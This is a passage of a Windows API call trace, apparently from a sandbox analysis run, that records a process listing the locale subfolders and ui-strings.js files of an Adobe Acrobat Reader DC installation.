lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0247.411] GetProcessHeap () returned 0xc10000 [0247.411] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.413] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.413] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.413] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x743, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.413] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.413] GetProcessHeap () returned 0xc10000 [0247.413] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.413] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0247.413] GetProcessHeap () returned 0xc10000 [0247.413] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.413] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.415] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.415] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x70e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.415] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x70e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.415] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.415] GetProcessHeap () returned 0xc10000 [0247.415] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.415] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0247.415] GetProcessHeap () returned 0xc10000 [0247.415] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x729, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.416] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.417] GetProcessHeap () returned 0xc10000 [0247.417] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.417] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0247.417] GetProcessHeap () returned 0xc10000 [0247.417] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.418] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.418] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.418] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.418] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.418] GetProcessHeap () returned 0xc10000 [0247.418] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.419] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0247.419] GetProcessHeap () returned 0xc10000 [0247.419] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.419] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.419] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.419] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.419] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.420] GetProcessHeap () returned 0xc10000 [0247.420] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.420] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0247.420] GetProcessHeap () returned 0xc10000 [0247.420] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.420] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.421] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0247.421] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.421] GetProcessHeap () returned 0xc10000 [0247.421] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.421] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0247.421] GetProcessHeap () returned 0xc10000 [0247.421] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.425] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.425] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.425] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.425] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.425] GetProcessHeap () returned 0xc10000 [0247.425] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.425] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0247.425] GetProcessHeap () returned 0xc10000 [0247.425] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.425] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.427] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.427] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.427] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.427] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.427] GetProcessHeap () returned 0xc10000 [0247.427] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.427] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 